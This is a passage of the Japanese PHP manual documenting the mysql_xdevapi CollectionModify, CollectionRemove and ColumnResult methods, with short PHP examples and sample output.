プレースホルダーは :NAME というフォーマットで、 ':' は NAME の前に常に存在しなければいけない 共通のプレフィックスです。NAME はプレースホルダーの実際の名前です。 この関数は、複数のエンティティを変更操作の検索時に置き換える必要がある場合、 プレースホルダーのリストを受け付けます。

パラメータ

placeholder_values

検索条件の中で置き換える値。 複数の値が許されていますし、配列の中で "PLACEHOLDER_NAME => PLACEHOLDER_VALUE" のような形で渡すこともできます。

返り値

コマンドを実行したり、追加の操作を追加するために使う CollectionModify オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionModify::bind() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
  ->add(
  '{"name":   "Bernie",
    "traits": ["Friend", "Brother", "Human"]}')
  ->execute();

$collection
  ->modify("name = :name")
  ->bind(['name' => 'Bernie'])
  ->arrayAppend('traits', 'Happy')
  ->execute();

$result = $collection
  ->find()
  ->execute();

print_r($result->fetchAll());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [_id] => 00005b6b53610000000000000110
            [name] => Bernie
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Brother
                    [2] => Human
                    [3] => Happy
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


CollectionModify のコンストラクタ

  • ≪ CollectionModify::bind
  • CollectionModify::execute ≫
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • CollectionModify のコンストラクタ

CollectionModify::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionModify::__construct — CollectionModify のコンストラクタ

説明

private mysql_xdevapi\CollectionModify::__construct ( )

コレクションを変更 (更新) します。 そして、Collection::modify() メソッドによってインスタンス化されます。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\CollectionModify::__construct() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
  ->add(
  '{"name":   "Bernie",
    "traits": ["Friend", "Brother", "Human"]}')
  ->execute();

$collection
  ->modify("name in ('Bernie', 'Jane')")
  ->arrayAppend('traits', 'Happy')
  ->execute();

$result = $collection
  ->find()
  ->execute();

print_r($result->fetchAll());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [_id] => 00005b6b5361000000000000010c
            [name] => Bernie
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Brother
                    [2] => Human
                    [3] => Happy
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


変更の操作を実行する

  • ≪ CollectionModify::__construct
  • CollectionModify::limit ≫
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • 変更の操作を実行する

CollectionModify::execute

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionModify::execute — 変更の操作を実行する

説明

public mysql_xdevapi\CollectionModify::execute ( ) : mysql_xdevapi\Result

MySQLサーバに CRUD 操作のリクエストを送信するために、 execute メソッドは必須です。

パラメータ

この関数にはパラメータはありません。

返り値

影響を受けた行数のような、操作の状態を確認するために使われる Result オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionModify::execute() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


変更されるドキュメントの数を限定する

  • ≪ CollectionModify::execute
  • CollectionModify::patch ≫
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • 変更されるドキュメントの数を限定する

CollectionModify::limit

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionModify::limit — 変更されるドキュメントの数を限定する

説明

public mysql_xdevapi\CollectionModify::limit ( int $rows ) : mysql_xdevapi\CollectionModify

この操作によって、変更されるドキュメントの数を限定します。 オプションで、skip() と組み合わせることで、オフセット値を定義します。

パラメータ

rows

変更するドキュメントの最大数

返り値

CollectionModify オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionModify::limit() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$collection->add('{"name": "Fred",  "age": 21, "job": "Construction"}')->execute();
$collection->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();
$collection->add('{"name": "Betty", "age": 24, "job": "Teacher"}')->execute();

$collection
  ->modify("job = :job")
  ->bind(['job' => 'Teacher'])
  ->set('job', 'Principal')
  ->limit(1)
  ->execute();

$result = $collection
  ->find()
  ->execute();

print_r($result->fetchAll());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [_id] => 00005b6b53610000000000000118
            [age] => 21
            [job] => Construction
            [name] => Fred
        )
    [1] => Array
        (
            [_id] => 00005b6b53610000000000000119
            [age] => 23
            [job] => Principal
            [name] => Wilma
        )
    [2] => Array
        (
            [_id] => 00005b6b5361000000000000011a
            [age] => 24
            [job] => Teacher
            [name] => Betty
        )
)

User Contributed Notes

There are no user contributed notes for this page.


document にパッチを当てる

  • ≪ CollectionModify::limit
  • CollectionModify::replace ≫
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • document にパッチを当てる

CollectionModify::patch

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionModify::patch — document にパッチを当てる

説明

public mysql_xdevapi\CollectionModify::patch ( string $document ) : mysql_xdevapi\CollectionModify

Patch オブジェクトを取得し、ひとつ以上のドキュメントに適用し、 そして複数のドキュメントのプロパティを更新します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

document

マッチするドキュメントに適用するプロパティを持ったドキュメント

返り値

CollectionModify オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionModify::patch() の例

<?php

$res = $coll->modify('"Programmatore" IN job')->patch('{"Hobby" : "Programmare"}')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


ドキュメントのフィールドを置き換える

  • ≪ CollectionModify::patch
  • CollectionModify::set ≫
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • ドキュメントのフィールドを置き換える

CollectionModify::replace

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionModify::replace — ドキュメントのフィールドを置き換える

説明

public mysql_xdevapi\CollectionModify::replace ( string $collection_field , string $expression_or_literal ) : mysql_xdevapi\CollectionModify

与えられたフィールドの値を、新しいもので置き換え(更新し)ます。

パラメータ

collection_field

設定するアイテムのドキュメントパス

expression_or_literal

指定された属性に設定する値

返り値

CollectionModify オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionModify::replace() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
  ->add(
  '{"name":   "Bernie",
    "traits": ["Friend", "Brother", "Human"]}')
  ->execute();

$collection
  ->modify("name = :name")
  ->bind(['name' => 'Bernie'])
  ->replace("name", "Bern")
  ->execute();

$result = $collection
  ->find()
  ->execute();

print_r($result->fetchAll());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [_id] => 00005b6b5361000000000000011b
            [name] => Bern
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Brother
                    [2] => Human
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


ドキュメントの属性を設定する

  • ≪ CollectionModify::replace
  • CollectionModify::skip ≫
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • ドキュメントの属性を設定する

CollectionModify::set

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionModify::set — ドキュメントの属性を設定する

説明

public mysql_xdevapi\CollectionModify::set ( string $collection_field , string $expression_or_literal ) : mysql_xdevapi\CollectionModify

コレクション中のドキュメントの属性を設定、または更新します。

パラメータ

collection_field

設定するアイテムのドキュメントパス(名前)

expression_or_literal

設定する値

返り値

CollectionModify オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionModify::set() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection
  ->add(
  '{"name":   "Bernie",
    "traits": ["Friend", "Brother", "Human"]}')
  ->execute();

$collection
  ->modify("name = :name")
  ->bind(['name' => 'Bernie'])
  ->set("name", "Bern")
  ->execute();

$result = $collection
  ->find()
  ->execute();

print_r($result->fetchAll());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Array
        (
            [_id] => 00005b6b53610000000000000111
            [name] => Bern
            [traits] => Array
                (
                    [0] => Friend
                    [1] => Brother
                    [2] => Human
                )
        )
)

User Contributed Notes

There are no user contributed notes for this page.


要素をスキップする

  • ≪ CollectionModify::set
  • CollectionModify::sort ≫
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • 要素をスキップする

CollectionModify::skip

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionModify::skip — 要素をスキップする

説明

public mysql_xdevapi\CollectionModify::skip ( int $position ) : mysql_xdevapi\CollectionModify

スキップしなければ find によって返される最初の N 要素をスキップします。 スキップされる要素の数が、結果セットのサイズより大きかった場合は、 空の結果セットが返されます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

position

スキップする要素数

返り値

後の操作で使われる CollectionModify オブジェクト。

例

例1 mysql_xdevapi\CollectionModify::skip() の例

<?php

$coll->modify('age > :age')->sort('age desc')->unset(['age'])->bind(['age' => 20])->limit(4)->skip(1)->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


ソート条件を設定する

  • ≪ CollectionModify::skip
  • CollectionModify::unset ≫
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • ソート条件を設定する

CollectionModify::sort

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionModify::sort — ソート条件を設定する

説明

public mysql_xdevapi\CollectionModify::sort ( string $sort_expr ) : mysql_xdevapi\CollectionModify

sort_expr 引数によって指定されたフィールドによって、結果セットをソートします。 可能なソート順は ASC(昇順) または DESC (降順) です。 この操作は SQL の 'ORDER BY' と同等で、同じルールに従います。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

sort_expr

ひとつ以上のソート式が指定できます。 評価は左から右に行われ、個別の式はコンマで区切ります。

返り値

以後の操作に使える CollectionModify オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionModify::sort() の例

<?php

$res = $coll->modify('true')->sort('name desc', 'age asc')->limit(4)->set('Married', 'NO')->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


ドキュメントのフィールドの値を削除する

  • ≪ CollectionModify::sort
  • mysql_xdevapi\CollectionRemove ≫
  • PHP Manual
  • mysql_xdevapi\CollectionModify
  • ドキュメントのフィールドの値を削除する

CollectionModify::unset

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionModify::unset — ドキュメントのフィールドの値を削除する

説明

public mysql_xdevapi\CollectionModify::unset ( array $fields ) : mysql_xdevapi\CollectionModify

コレクションのドキュメントから、属性を削除します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

fields

コレクションのドキュメントから削除する属性

返り値

その後の処理で使える CollectionModify オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionModify::unset() の例

<?php

$res = $coll->modify('job like :job_name')->unset(["age", "name"])->bind(['job_name' => 'Plumber'])->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


CollectionRemove クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\CollectionRemove implements mysql_xdevapi\Executable , mysql_xdevapi\CrudOperationBindable , mysql_xdevapi\CrudOperationLimitable , mysql_xdevapi\CrudOperationSortable {
/* メソッド */
public bind ( array $placeholder_values ) : mysql_xdevapi\CollectionRemove
public execute ( ) : mysql_xdevapi\Result
public limit ( int $rows ) : mysql_xdevapi\CollectionRemove
public sort ( string $sort_expr ) : mysql_xdevapi\CollectionRemove
}

目次

  • CollectionRemove::bind — プレースホルダーに値をバインドする
  • CollectionRemove::__construct — CollectionRemove のコンストラクタ
  • CollectionRemove::execute — 削除操作を実行する
  • CollectionRemove::limit — 削除するドキュメントの数を限定する
  • CollectionRemove::sort — ソート条件を設定する

User Contributed Notes

There are no user contributed notes for this page.


プレースホルダーに値をバインドする

  • ≪ mysql_xdevapi\CollectionRemove
  • CollectionRemove::__construct ≫
  • PHP Manual
  • mysql_xdevapi\CollectionRemove
  • プレースホルダーに値をバインドする

CollectionRemove::bind

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionRemove::bind — プレースホルダーに値をバインドする

説明

public mysql_xdevapi\CollectionRemove::bind ( array $placeholder_values ) : mysql_xdevapi\CollectionRemove

削除操作の検索条件のプレースホルダーにパラメータをバインドします。

プレースホルダーは :NAME というフォーマットで、 ':' は NAME の前に常に存在しなければいけない 共通のプレフィックスです。NAME はプレースホルダーの実際の名前です。 この関数は、複数のエンティティを削除操作の検索時に置き換える必要がある場合、 プレースホルダーのリストを受け付けます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

placeholder_values

検索条件の中で置き換える値。 複数の値が許されていますし、配列の中で "PLACEHOLDER_NAME => PLACEHOLDER_VALUE" のような形で渡すこともできます。

返り値

コマンドを実行したり、追加の操作を追加するために使う CollectionRemove オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionRemove::bind() の例

<?php

$res = $coll->remove('age > :age_from and age < :age_to')->bind(['age_from' => 20, 'age_to' => 50])->limit(7)->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


CollectionRemove のコンストラクタ

  • ≪ CollectionRemove::bind
  • CollectionRemove::execute ≫
  • PHP Manual
  • mysql_xdevapi\CollectionRemove
  • CollectionRemove のコンストラクタ

CollectionRemove::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionRemove::__construct — CollectionRemove のコンストラクタ

説明

private mysql_xdevapi\CollectionRemove::__construct ( )

コレクションのドキュメントを削除します。 Collection::remove() メソッドによってインスタンス化されます。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\Collection::remove() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema     = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$collection->add('{"name": "Alfred", "age": 18, "job": "Butler"}')->execute();
$collection->add('{"name": "Bob",    "age": 19, "job": "Painter"}')->execute();

// すべての Painter を削除する
$collection
  ->remove("job in ('Painter')")
  ->execute();

// もっとも古い Butler を削除する
$collection
  ->remove("job in ('Butler')")
  ->sort('age desc')
  ->limit(1)
  ->execute();

// age が一番若いレコードを削除する
$collection
  ->remove('true')
  ->sort('age desc')
  ->limit(1)
  ->execute();
?>

User Contributed Notes

There are no user contributed notes for this page.


削除操作を実行する

  • ≪ CollectionRemove::__construct
  • CollectionRemove::limit ≫
  • PHP Manual
  • mysql_xdevapi\CollectionRemove
  • 削除操作を実行する

CollectionRemove::execute

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionRemove::execute — 削除操作を実行する

説明

public mysql_xdevapi\CollectionRemove::execute ( ) : mysql_xdevapi\Result

クライアントがサーバに CRUD 操作のリクエストを送信させるためには、 execute 関数を呼び出す必要があります。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

Result オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionRemove::execute() の例

<?php

$res = $coll->remove('true')->sort('age desc')->limit(2)->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


削除するドキュメントの数を限定する

  • ≪ CollectionRemove::execute
  • CollectionRemove::sort ≫
  • PHP Manual
  • mysql_xdevapi\CollectionRemove
  • 削除するドキュメントの数を限定する

CollectionRemove::limit

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionRemove::limit — 削除するドキュメントの数を限定する

説明

public mysql_xdevapi\CollectionRemove::limit ( int $rows ) : mysql_xdevapi\CollectionRemove

削除するドキュメントの数の最大値を設定します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

rows

削除するドキュメントの数の最大値

返り値

コマンドを実行したり、追加の操作を追加するのに使える CollectionRemove オブジェクト。

例

例1 mysql_xdevapi\CollectionRemove::limit() example

<?php

$res = $coll->remove('job in (\'Barista\', \'Programmatore\', \'Ballerino\', \'Programmatrice\')')->limit(5)->sort(['age desc', 'name asc'])->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


ソート条件を設定する

  • ≪ CollectionRemove::limit
  • mysql_xdevapi\ColumnResult ≫
  • PHP Manual
  • mysql_xdevapi\CollectionRemove
  • ソート条件を設定する

CollectionRemove::sort

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

CollectionRemove::sort — ソート条件を設定する

説明

public mysql_xdevapi\CollectionRemove::sort ( string $sort_expr ) : mysql_xdevapi\CollectionRemove

sort_expr 引数で、選択されるフィールドによって結果をソートします。 可能なソート順は ASC(昇順) または DESC (降順) です。 この操作は SQL の 'ORDER BY' と同等で、同じルールに従います。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

sort_expr

ひとつ以上のソート式が指定できます。 評価は左から右に行われ、個別の式はコンマで区切ります。

返り値

コマンドを実行したり、追加の操作を追加できる CollectionRemove オブジェクトを返します。

例

例1 mysql_xdevapi\CollectionRemove::sort() の例

<?php

$res = $coll->remove('true')->sort('age desc')->limit(2)->execute();

?>

User Contributed Notes

There are no user contributed notes for this page.


ColumnResult クラス

(PECL mysql-xdevapi >= 8.0.11)

はじめに

クラス概要

mysql_xdevapi\ColumnResult {
/* メソッド */
public getCharacterSetName ( ) : string
public getCollationName ( ) : string
public getColumnLabel ( ) : string
public getColumnName ( ) : string
public getFractionalDigits ( ) : int
public getLength ( ) : int
public getSchemaName ( ) : string
public getTableLabel ( ) : string
public getTableName ( ) : string
public getType ( ) : int
public isNumberSigned ( ) : int
public isPadded ( ) : int
}

目次

  • ColumnResult::__construct — ColumnResult のコンストラクタ
  • ColumnResult::getCharacterSetName — キャラクタセットを取得する
  • ColumnResult::getCollationName — 照合順序名を取得する
  • ColumnResult::getColumnLabel — カラムのラベルを取得する
  • ColumnResult::getColumnName — カラム名を取得する
  • ColumnResult::getFractionalDigits — カラムの小数の桁数を取得する
  • ColumnResult::getLength — カラムのフィールドの長さを取得する
  • ColumnResult::getSchemaName — スキーマ名を取得する
  • ColumnResult::getTableLabel — テーブルラベルを取得する
  • ColumnResult::getTableName — テーブル名を取得する
  • ColumnResult::getType — カラムの型を取得する
  • ColumnResult::isNumberSigned — 符号付きの型かどうかを調べる
  • ColumnResult::isPadded — パディングされているかを調べる

User Contributed Notes

There are no user contributed notes for this page.


ColumnResult のコンストラクタ

  • ≪ mysql_xdevapi\ColumnResult
  • ColumnResult::getCharacterSetName ≫
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • ColumnResult のコンストラクタ

ColumnResult::__construct

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ColumnResult::__construct — ColumnResult のコンストラクタ

説明

private mysql_xdevapi\ColumnResult::__construct ( )

キャラクタセットのような、カラムのメタデータを取得します。 RowResult::getColumns() によってインスタンス化されます。

パラメータ

この関数にはパラメータはありません。

例

例1 mysql_xdevapi\ColumnResult::__construct() の例

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS nonsense")->execute();
$session->sql("CREATE DATABASE nonsense")->execute();
$session->sql("CREATE TABLE nonsense.numbers (hello int, world float unsigned)")->execute();
$session->sql("INSERT INTO  nonsense.numbers values (42, 42)")->execute();

$schema = $session->getSchema("nonsense");
$table  = $schema->getTable("numbers");

$result1 = $table->select('hello','world')->execute();

// Returns an array of ColumnResult objects
$columns = $result1->getColumns();

foreach ($columns as $column) {
    echo "\nColumn label " , $column->getColumnLabel();
    echo " is type "       , $column->getType();
    echo " and is ", ($column->isNumberSigned() === 0) ? "Unsigned." : "Signed.";
}

// Alternatively
$result2 = $session->sql("SELECT * FROM nonsense.numbers")->execute();

// Returns an array of FieldMetadata objects
print_r($result2->getColumns());

上の例の出力は、 たとえば以下のようになります。

Column label hello is type 19 and is Signed.
Column label world is type 4  and is Unsigned.

Array
(
    [0] => mysql_xdevapi\FieldMetadata Object
        (
            [type] => 1
            [type_name] => SINT
            [name] => hello
            [original_name] => hello
            [table] => numbers
            [original_table] => numbers
            [schema] => nonsense
            [catalog] => def
            [collation] => 0
            [fractional_digits] => 0
            [length] => 11
            [flags] => 0
            [content_type] => 0
        )
    [1] => mysql_xdevapi\FieldMetadata Object
        (
            [type] => 6
            [type_name] => FLOAT
            [name] => world
            [original_name] => world
            [table] => numbers
            [original_table] => numbers
            [schema] => nonsense
            [catalog] => def
            [collation] => 0
            [fractional_digits] => 31
            [length] => 12
            [flags] => 1
            [content_type] => 0
        )
)

User Contributed Notes

There are no user contributed notes for this page.


キャラクタセットを取得する

  • ≪ ColumnResult::__construct
  • ColumnResult::getCollationName ≫
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • キャラクタセットを取得する

ColumnResult::getCharacterSetName

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ColumnResult::getCharacterSetName — キャラクタセットを取得する

説明

public mysql_xdevapi\ColumnResult::getCharacterSetName ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\ColumnResult::getCharacterSetName() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


照合順序名を取得する

  • ≪ ColumnResult::getCharacterSetName
  • ColumnResult::getColumnLabel ≫
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • 照合順序名を取得する

ColumnResult::getCollationName

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ColumnResult::getCollationName — 照合順序名を取得する

説明

public mysql_xdevapi\ColumnResult::getCollationName ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\ColumnResult::getCollationName() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


カラムのラベルを取得する

  • ≪ ColumnResult::getCollationName
  • ColumnResult::getColumnName ≫
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • カラムのラベルを取得する

ColumnResult::getColumnLabel

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ColumnResult::getColumnLabel — カラムのラベルを取得する

説明

public mysql_xdevapi\ColumnResult::getColumnLabel ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\ColumnResult::getColumnLabel() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


カラム名を取得する

  • ≪ ColumnResult::getColumnLabel
  • ColumnResult::getFractionalDigits ≫
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • カラム名を取得する

ColumnResult::getColumnName

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ColumnResult::getColumnName — カラム名を取得する

説明

public mysql_xdevapi\ColumnResult::getColumnName ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\ColumnResult::getColumnName() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


カラムの小数の桁数を取得する

  • ≪ ColumnResult::getColumnName
  • ColumnResult::getLength ≫
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • カラムの小数の桁数を取得する

ColumnResult::getFractionalDigits

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ColumnResult::getFractionalDigits — カラムの小数の桁数を取得する

説明

public mysql_xdevapi\ColumnResult::getFractionalDigits ( ) : int

カラムの小数の桁数を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\ColumnResult::getFractionalDigits() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


カラムのフィールドの長さを取得する

  • ≪ ColumnResult::getFractionalDigits
  • ColumnResult::getSchemaName ≫
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • カラムのフィールドの長さを取得する

ColumnResult::getLength

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ColumnResult::getLength — カラムのフィールドの長さを取得する

説明

public mysql_xdevapi\ColumnResult::getLength ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\ColumnResult::getLength() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


スキーマ名を取得する

  • ≪ ColumnResult::getLength
  • ColumnResult::getTableLabel ≫
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • スキーマ名を取得する

ColumnResult::getSchemaName

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ColumnResult::getSchemaName — スキーマ名を取得する

説明

public mysql_xdevapi\ColumnResult::getSchemaName ( ) : string

カラムが保存されているスキーマの名前を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\ColumnResult::getSchemaName() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


テーブルラベルを取得する

  • ≪ ColumnResult::getSchemaName
  • ColumnResult::getTableName ≫
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • テーブルラベルを取得する

ColumnResult::getTableLabel

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ColumnResult::getTableLabel — テーブルラベルを取得する

説明

public mysql_xdevapi\ColumnResult::getTableLabel ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\ColumnResult::getTableLabel() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


テーブル名を取得する

  • ≪ ColumnResult::getTableLabel
  • ColumnResult::getType ≫
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • テーブル名を取得する

ColumnResult::getTableName

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ColumnResult::getTableName — テーブル名を取得する

説明

public mysql_xdevapi\ColumnResult::getTableName ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

オブジェクトに対応するテーブル名を返します。

例

例1 mysql_xdevapi\ColumnResult::getTableName() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


カラムの型を取得する

  • ≪ ColumnResult::getTableName
  • ColumnResult::isNumberSigned ≫
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • カラムの型を取得する

ColumnResult::getType

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ColumnResult::getType — カラムの型を取得する

説明

public mysql_xdevapi\ColumnResult::getType ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 mysql_xdevapi\ColumnResult::getType() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


符号付きの型かどうかを調べる

  • ≪ ColumnResult::getType
  • ColumnResult::isPadded ≫
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • 符号付きの型かどうかを調べる

ColumnResult::isNumberSigned

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ColumnResult::isNumberSigned — 符号付きの型かどうかを調べる

説明

public mysql_xdevapi\ColumnResult::isNumberSigned ( ) : int

テーブルのカラム情報を取得します。 RowResult::getColumns() メソッドによってインスタンス化されます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

与えられたカラムが符号付きの場合、true を返します。

例

例1 mysql_xdevapi\ColumnResult::isNumberSigned() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


パディングされているかを調べる

  • ≪ ColumnResult::isNumberSigned
  • mysql_xdevapi\CrudOperationBindable ≫
  • PHP Manual
  • mysql_xdevapi\ColumnResult
  • パディングされているかを調べる

ColumnResult::isPadded

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

ColumnResult::isPadded — パディングされているかを調べる

説明

public mysql_xdevapi\ColumnResult::isPadded ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

与えられたカラムがパディングされていれば true を返します。

例

例1 mysql_xdevapi\ColumnResult::isPadded() の例

<?php

/* ... */

?>

User Contributed Notes

There are no user contributed notes for this page.


CrudOperationBindable インターフェイス

(PECL mysql-xdevapi >= 8.0.11)

